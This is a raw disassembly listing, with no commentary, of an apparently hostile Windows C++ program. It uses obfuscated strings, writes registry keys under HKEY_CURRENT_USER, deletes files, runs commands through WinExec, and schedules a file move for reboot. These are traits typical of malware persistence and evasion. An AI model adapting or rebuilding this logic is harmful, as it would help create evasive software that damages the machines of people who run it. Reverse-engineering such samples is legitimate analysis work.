mov qword [rsp + 0x20], rbx
mov r9d, 1
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
call rax
jmp 0x2319532b5
lea rax, [rbp + 0x1c7d]
mov rcx, rax
call method.main.lambda__44::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_66ull__12807559455336368099ull__char_.operator_char__
mov rdx, rax
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x7a8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x2319532b5
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x1c7e]
mov rcx, rax
call method.main.lambda__45::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_14ull__1689326478239541181ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov dword [rsp + 0x28], 0x14
mov qword [rsp + 0x20], rbx
mov r9d, 1
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
call rax
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0x1c7f]
mov rcx, rax
call method.main.lambda__46::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__3430356573857077045ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x1cbe]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1cbf]
mov rcx, rax
call method.main.lambda__47::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__5295007257350718221ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1cbe]
lea rax, [rbp + 0x1c90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1c80]
lea rdx, [rbp + 0x1c90]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1c90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1cbe]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1cee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1cef]
mov rcx, rax
call method.main.lambda__48::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_26ull__14256561737562319217ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1cee]
lea rax, [rbp + 0x1cc0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1cc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x1cc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1cee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1d1e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1d1f]
mov rcx, rax
call method.main.lambda__49::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__2385068456923608481ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1d1e]
lea rax, [rbp + 0x1cf0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1d4f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x1d4f]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x1d20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xc0]
lea rcx, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1d20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d4f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d1e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, qword [rbp + 0x46a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1d50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x1d70]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x1d50]
lea rax, [rbp + 0x1d70]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x1d70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1db0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1dfe]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1dff]
mov rcx, rax
call method.main.lambda__50::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__7323228507851814835ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1dfe]
lea rax, [rbp + 0x1dd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1d90]
lea rcx, [rbp + 0x1db0]
lea rdx, [rbp + 0x1dd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1d90]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp + 0x1d90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1dd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1dfe]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1db0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e2e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1e2f]
mov rcx, rax
call method.main.lambda__51::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__3552161057441151357ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1e2e]
lea rax, [rbp + 0x1e00]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1e00]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x1e00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e2e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1e5e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1e5f]
mov rcx, rax
call method.main.lambda__52::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_25ull__17423676676989743897ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1e5e]
lea rax, [rbp + 0x1e30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1e30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x1e30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e5e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 4
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileExA]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x1e9e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1e9f]
mov rcx, rax
call method.main.lambda__53::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__17979293180746608507ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1e9e]
lea rax, [rbp + 0x1e70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e70]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1e70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e9e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x46c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, rbp
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x1ea0]
lea rax, [rbp + 0x1ec0]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
cmp dword [rbp + 0x46f0], 7
jle 0x2319538e6
lea rax, [rbp + 0x1eee]
mov rcx, rax
call method.main.lambda__54::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__18095915447498951609ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x38
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319538e6
mov eax, 1
jmp 0x2319538eb
mov eax, 0
test al, al
je 0x23195392c
lea rax, [rbp + 0x1eef]
mov rcx, rax
call method.main.lambda__55::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__13766724703483679155ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x23195395d
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1ef0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1ef0]
mov rcx, rax
call sym.f_mci_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1ef0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x1f4c]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1f4d]
mov rcx, rax
call method.main.lambda__56::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__8754388422013838683ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1f4c]
lea rax, [rbp + 0x1f20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1f10]
lea rdx, [rbp + 0x1f20]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1f20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f4c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp + 0x46f0], 0xc
jle 0x231953a64
lea rax, [rbp + 0x1f4e]
mov rcx, rax
call method.main.lambda__57::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__13238640375639664459ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x60
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231953a64
mov eax, 1
jmp 0x231953a69
mov eax, 0
test al, al
je 0x231953aad
lea rax, [rbp + 0x1f4f]
mov rcx, rax
call method.main.lambda__58::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__7440359206853652825ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231953b8e
mov edx, 0x12c
mov ecx, 0x19f
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x19f
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x26e
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x26e
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x2ba
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x2ba
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x26e
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 1
mov ecx, 0x12c
call sym.f_slpc_unsigned_long__int_
mov edx, 0x12c
mov ecx, 0x22a
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x22a
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x20b
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x20b
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x1d2
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x1d2
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 0x12c
mov ecx, 0x19f
call sym.f_bp_unsigned_long__unsigned_long_
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x1f8e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1f8f]
mov rcx, rax
call method.main.lambda__59::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__3531144349686029215ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1f8e]
lea rax, [rbp + 0x1f60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1f50]
lea rdx, [rbp + 0x1f60]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1f60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f8e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x46b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1f90]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x1f90]
lea rax, [rbp + 0x1fb0]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
cmp dword [rbp + 0x46f0], 7
jle 0x231953ce8
lea rax, [rbp + 0x1fde]
mov rcx, rax
call method.main.lambda__60::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__15496876489850200921ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x38
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231953ce8
mov eax, 1
jmp 0x231953ced
mov eax, 0
test al, al
je 0x231953d2e
lea rax, [rbp + 0x1fdf]
mov rcx, rax
call method.main.lambda__61::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__8065104023878194949ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231953d5f
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call sym.f_mci_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x203e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x203f]
mov rcx, rax
call method.main.lambda__62::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__5117199157085710239ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x203e]
lea rax, [rbp + 0x2010]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2000]
lea rdx, [rbp + 0x2010]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2010]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x203e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x208e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x208f]
mov rcx, rax
call method.main.lambda__65::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__6436023429673359789ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x208e]
lea rax, [rbp + 0x2060]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20df]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x20df]
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x20b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x212e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x212f]
mov rcx, rax
call method.main.lambda__64::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__6436023429673359789ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x212e]
lea rax, [rbp + 0x2100]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x217f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x217f]
lea rdx, [rbp + 0x160]
lea rax, [rbp + 0x2150]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x21ae]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x21af]
mov rcx, rax
call method.main.lambda__63::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_96ull__6436023429673359789ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x21ae]
lea rax, [rbp + 0x2180]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2130]
lea rcx, [rbp + 0x2150]
lea rdx, [rbp + 0x2180]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x20e0]
lea rcx, [rbp + 0x2100]
lea rdx, [rbp + 0x2130]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2090]
lea rcx, [rbp + 0x20b0]
lea rdx, [rbp + 0x20e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2040]
lea rcx, [rbp + 0x2060]
lea rdx, [rbp + 0x2090]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2040]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2040]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2090]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2130]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x21ae]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x217f]
mov rcx, rax
